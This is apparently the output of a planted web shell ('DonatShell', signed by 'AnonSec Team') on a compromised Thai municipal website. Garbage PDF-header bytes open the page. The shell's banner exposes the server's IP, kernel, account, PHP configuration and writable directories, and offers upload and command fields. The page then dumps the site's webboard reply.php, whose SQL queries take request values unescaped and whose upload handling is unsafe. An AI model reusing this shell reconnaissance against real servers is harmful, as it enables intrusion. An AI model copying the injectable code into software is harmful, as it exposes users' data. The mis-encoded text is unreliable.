%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : phunphin ( 1164)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/phunphin/domains/phunphin.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/phunphin/domains/phunphin.go.th/public_html/webboard//reply.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->
<META HTTP-EQUIV="REFRESH" CONTENT="2; URL=show.php?Category=<? echo $Category; ?>&No=<? echo $No; ?>">
<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅ¾Ø¹¾Ô¹ µÓºÅ¾Ø¹¾Ô¹ ÍÓàÀ;ع¾Ô¹ ¨Ñ§ËÇÑ´ÊØÃÒÉ®Ãì¸Ò¹Õ : http://www.phunphin.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<!-- You can use Open Graph tags to customize link previews.
    Learn more: https://developers.facebook.com/docs/sharing/webmasters -->
  <meta property="og:url"           content="https://www.your-domain.com/your-page.html" />
  <meta property="og:type"          content="website" />
  <meta property="og:title"         content="Your Website Title" />
  <meta property="og:description"   content="Your description" />
  <meta property="og:image"         content="https://www.your-domain.com/path/image.jpg" />



<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:#006cd8;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style1 {color: #000000}
-->
</style>

<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">
<!--font-->

<style type="text/css">
<!--
.style4 {font-family: 'Chakra Petch', sans-serif}
-->
</style>


</head>

<body  background="../images/0bg1_edit01.png" style="background-repeat:no-repeat; background-position:top">











<!-- content -->
<div align="center">
  <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td height="605" align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td height="55" align="center" valign="top"><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top"><a href="http://www.phunphin.go.th/index.php"><img src="../images/1menutop_01.png"  alt=""/></a></td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">
      <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">
          
          <table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top"><img src="../images/bg_con2_01.png" width="100"></td>
        </tr>
        <tr>
          <td align="center" valign="top" background="../images/bg_con2_02.png" style="background-repeat:repeat; background-position:top"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="98%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><div align="center"><?
	include("config.inc.php");
	include("function.php");

	// àªç¤ËÁÇ´¢Í§àÇ纺ÍÃì´
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> ¡ÃسÒÃÐºØ Category ãËéµÃ§¡Ñº·Õè web à»Ô´ãªé´éǤÃѺ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}

	// ¨º¡ÒÃàªç¤

	// àªç¤¡Òõͺ¤Ó¶ÒÁ
	$sqlc = "select No_com from webboard_ans where QuestionNo='$No' order by No_com DESC";	$resultc = mysql_db_query($dbname,$sqlc) or die ("äÁèÊÒÁÒöÊÑè§ãËé database ·Ó§Ò¹ä´éã¹¢³Ð¹Õé");
	$rowc = mysql_fetch_array($resultc);

	// µÑÇá»Ã
	$com1 = $rowc["No_com"];

	// ËÒµÑÇá»Ã
	if ($com1=="") {
		$ncom = "";
		}
	else {
		$ncom = $com1;
		}

	// ¨º¡ÒÃàªç¤
	
if ($_SERVER['HTTP_CLIENT_IP']) { 
$IP = $_SERVER['HTTP_CLIENT_IP'];
} elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { 
$IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else { 
$IP = $_SERVER["REMOTE_ADDR"];
}
	$Member = 0;

	// »éͧ¡Ñ¹¡ÒÃá·Ã¡ html ¡Ñº ÅÐà¤Ã×èͧËÁÒ ' "
	$MsgBy = htmlspecialchars($MsgBy);
	$Email = htmlspecialchars($Email);
	$Msg = htmlspecialchars($Msg);

	// »éͧ¡Ñ¹¤ÓËÂÒº
	$MsgBy = CheckRude($MsgBy);
	$Email = CheckRude($Email);
	$Msg = CheckRude($Msg);
	
	// µÃǨÊͺ¡ÒÃá·Ã¡ÃÙ»ÀÒ¾
	$txt = array(":b1:", ":b2:",":b3:", ":b4:", ":b5:", ":b6:", ":b7:", ":b8:", ":b9:", ":b10:", ":b11:");
	$pic = array("b1.gif","b2.gif","b3.gif","b4.gif","b5.gif","b6.gif","b7.gif","b8.gif","b9.gif","b10.gif","b11.gif");
	for ($a=0 ; $a<sizeof($txt) ; $a++) {
		$Msg = eregi_replace($txt[$a],"<img src=\"pic/$pic[$a]\">",$Msg);
	}

    // µÃǨÊͺÇèÒ ÁÕ¡Òûé͹ url ËÃ×Í email ÁÒËÃ×ÍäÁè ¶éÒÁÕãËé·Ó link
	
		//ÊÓËÃѺà»ÅÕè¹ÍÑ¡¢ÃзÕè¡Ó˹´ ãËéà»ç¹á·¡ html µèÒ§æ
		$Msg = eregi_replace ( "\[b\]", "<b> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/b\]", " </b>" , $Msg ) ;
		$Msg = eregi_replace ( "\[i\]", "<i> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/i\]", " </i>" , $Msg ) ;
		$Msg = eregi_replace ( "\[u\]", "<u> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/u\]", " </u>" , $Msg ) ;
		$Msg = eregi_replace ( "\[sup\]", "<sup> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/sup\]", " </sup>" , $Msg ) ;
		$Msg = eregi_replace ( "\[sub\]", "<sub> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/sub\]", " </sub>" , $Msg ) ;
		$Msg = eregi_replace ( "\[glow\]"," <table style=\"filter:glow(color=pink, strength=3)\"> ", $Msg ) ;
		$Msg = eregi_replace ( "\[/glow\]", " </table>" , $Msg ) ;
		$Msg = eregi_replace ( "\[shadow\]"," <table style=\"filter:shadow(color=pink, direction=left)\"> ", $Msg ) ;
		$Msg = eregi_replace ( "\[/shadow\]", " </table>" , $Msg ) ;
		$Msg = eregi_replace ( "\[\-\-\-\]", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" , $Msg ) ;
		$Msg = eregi_replace ( "\[color=red\]", "<font color=red> " , $Msg ) ;
		$Msg = eregi_replace ( "\[color=green\]", "<font color=green> " , $Msg ) ;
		$Msg = eregi_replace ( "\[color=blue\]", "<font color=blue> " , $Msg ) ;
		$Msg = eregi_replace ( "\[color=orange\]", "<font color=FF6600> " , $Msg ) ;
		$Msg = eregi_replace ( "\[color=pink\]", "<font color=FF00FF> " , $Msg) ;
		$Msg = eregi_replace ( "\[color=gray\]", "<font color=999999> " , $Msg ) ;
		$Msg = eregi_replace ( "\[/color\]", " </font>" , $Msg ) ;
	
	
	// ãËé¢Ö鹺ѹ·Ñ´ãËÁè ¡Ã³Õ·ÕèÁÕ¡ÒÃà¤ÒÐ Enter
	$Msg = eregi_replace(chr(13)," <br> ",$Msg );
	$Msg = eregi_replace("(^|[>[:space:]\n])([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])([<[:space:]\n]|$)","<a href=\"\\2://\\3\\4\" target=\"_blank\">\\2://\\3\\4</a>", $Msg );

	$Msg = eregi_replace("([[:alnum:]]+)@([^[:space:]]*)([[:alnum:]])([<[:space:]\n]|$)","<a href=mailto:\\1@\\2\\3\>\\1@\\2\\3</a>", $Msg ); 

	//µÃǨÊͺ¡ÒÃâ¾Ê¡ÃзÙé (ËéÒÁâ¾Êà¡Ô¹ ¨Ó¹Ç¹·ÕèÃкØã¹ config)
	CheckFlood($IP);
	
	// µÃǨÊͺÇèÒà»ç¹ÊÁÒªÔ¡ËÃ×ÍäÁè 

	$sql = "select User,Password,Email from webboard_member where User='$MsgBy'";
	$result = mysql_db_query($dbname,$sql);
	$row = mysql_fetch_array($result);

	$Member = $row["User"];

	// µÃǨÊͺÇèÒ Password ¶Ù¡ËÃ×ÍäÁè	
	if($MsgBy==$row["User"] && $QPass==$row["Password"]) { 
		$Member = 1;
		if(!$Email) {
			$Email = $row["Email"];
		}
	}else
	 {
	$Member = 0;
	 }

// ·Ó¡Òà à¾ÔèÁ¤èÒ¡Òõͺ¢Í§ÊÁÒªÔ¡
	if($Member) {
			$sql3 = "update webboard_member set m_reply=m_reply+1 where User='$MsgBy'";
			$result3 = mysql_db_query($dbname,$sql3);
	}
	else {	};
// ¨º¡Ò÷ӧҹ
	
// ºÑ¹·Ö¡ÃÙ»ÀÒ¾

	if(($Msg =='')&&($QName==''))
		{
			echo "<br><br><center >";
			echo "¢éͤÇÒÁÊè§ÁÒäÁèÊÁºÙóìÍÒ¨ãÊè¢éÍÁÙÅäÁè¤Ãº ËÃ×͵¡ËÅè¹ÃÐËÇèÒ§¡ÒÃÊè§¢éÍÁÙÅ ¡ÃسÒÊè§¢éͤÇÒÁÍÕ¡¤ÃÑé§<br>";
			echo "<a href='javascript:history.back(1)'>[ ¡ÅѺä»á¡éä¢ ] </a>";
			echo "</center>";
			exit();
	}


if( $QPic !='')
	{ 

			srand((double)microtime()*1000000); 
			$QPic_name=$random_pic = rand(1,9999);

# µÃǨÊͺ¤ÇÒÁ¡ÇéÒ§¢Í§ÃÙ»
				$size = getimagesize($QPic);	


# µÃǨÊͺ¢¹Ò´¢Í§ Flash
if ( $QPic_type == "application/x-shockwave-flash" )	{
		if($QPic_size>$flashSize_limit) {
				echo "<br><b><center><font size=3 color=red >¢¹Ò´¢Í§ä¿Åì Flash à¡Ô¹ $flashSize_limit bytes [$flashSize_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>&nbsp;]</font></center></b>";
				exit();
			}
	}
else {

# µÃǨÊͺ¢¹Ò´¢Í§ÃÙ»
		if($QPic_size>$Image_size) {
				echo "<br><b><center><font size=3 color=red >¢¹Ò´¢Í§ÀÒ¾à¡Ô¹ $Image_size bytes [$Image_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>¡ÅѺä»á¡éä¢</a>&nbsp;]</font></center></b>";
				exit();
			}
}

#á»Å§¹ÒÁÊ¡ØÅ áÅзӡÒà upload
if ( $QPic_type == "image/gif" )
		{
			$filename = $QPic_name.".gif";
		}
if ( $QPic_type == "image/bmp" )
		{
			$filename = $QPic_name.".bmp";
		}
if ( $QPic_type == "image/png" )
		{
			$filename = $QPic_name.".png";
		}
if ( $QPic_type == "application/x-shockwave-flash" )
		{
			$filename = $QPic_name.".swf";
		}
elseif (($QPic_type=="image/jpg")||($QPic_type=="image/jpeg")||($QPic_type=="image/pjpeg"))
		{
			$filename =strtolower($QPic_name.$random_pic . '.jpg');
		}
			copy ($QPic , "$path/" . $filename );		
	}


elseif ($QPic == "")
{
echo "";
}


	//àÇÅҨеç¡Ñºà¤Ã×èͧ server ·ÕèàÃÒÃѹ 
	$mdate = date("Y-m-d H:i:s");	


//ʤÃÔ»´Ñ¡¡ÃзÙé¢ÂСè͹ŧ°Ò¹¢éÍÁÙÅ
	if(ereg("www",$_POST[Msg]) || ereg("http",$_POST[Msg]) || ereg("<a href",$_POST[Msg]) || ereg("<",$_POST[Msg])){
  		echo "\n";
		echo "<center>";
		echo "<BR><BR><a href='javascript:history.back(1)' class='styles2'> ¡Ãس¡ÃÍ¡¢éÍÁÙÅãËé¶Ù¡µéͧ</a><BR><BR><BR><BR>";
		exit;
}


	 if(strcmp($_POST['code_input'],$_POST['code_hidden'])==0){ 		


	// ºÑ¹·Ö¡¢éÍÁÙÅŧ database
	$sql1 = "INSERT INTO webboard_ans (QuestionNo, Name,Namer, Member, IP, Email, Msg, Date,nphoto,No_com,resolution) VALUES ('$No','$MsgBy', '$MsgBy', '$Member', '$IP', '$Email', '$Msg', '$mdate','$filename',$ncom+1,'$size[0]')";
	$sql2 = "UPDATE webboard_data SET Reply=Reply+1, ReplyDate='$mdate',Namer='$MsgBy',Memberr='$Member' WHERE No='$No'";

	mysql_query("update webboard_ans set Namer='$MsgBy' where No='$No'");

	$result1 = mysql_db_query($dbname,$sql1);
	$result2 = mysql_db_query($dbname,$sql2);

	$ShowNo = sprintf("%05d",$No);
	mysql_close();
?></div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><div align="center">
              <table width=60% border=0 bgcolor=#000000 cellpadding=7 cellspacing=1>
                <tr>
                  <td align=center bgcolor=#ffffff class="styles3"><span class="red">ä´éÃѺ¢éÍÁÙÅáÅéǤÃѺ</span><br>
                        <br>
                    ËÒ¡¤ÓµÍº¢Í§¤Ø³äÁè¢Öé¹ãËé¡´»ØèÁ Refresh/Reload ¤ÃѺ </font></td>
                </tr>
              </table>
            </div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td class="styles3"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">áÊ´§¤Ó¶ÒÁ</a> | | <a href="show.php?Category=<? echo $Category; ?>" class="styles2">´Ù¤ÓµÍº</a> | | <a href="postq.php?Category=<? echo $Category; ?>" class="styles2">µÑé§¡ÃзÙéãËÁè </a>|</div></td>
          </tr>
		    <?
					 }
				else{
					echo "<br><b><center><span class=red>¡ÃسÒãÊè¤èÒ Verification code</span></center></b><br>";
					echo "<br><b><center><span class=styles1 >[&nbsp;<a href='javascript:history.back(1)' class=styles2>¡ÅѺä»á¡éä¢</a>&nbsp;]</span></center></b>";
			}
			?>
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></td>
            </tr>
            <tr>
              <td align="center" valign="top">&nbsp;</td>
            </tr>
          </table></td>
        </tr>
        <tr>
          <td align="center" valign="top"><img src="../images/bg_con2_04.png" width="1000"></td>
        </tr>
      </table>          </td>
        </tr>
      </table>      </td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td> 

</tr>









</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team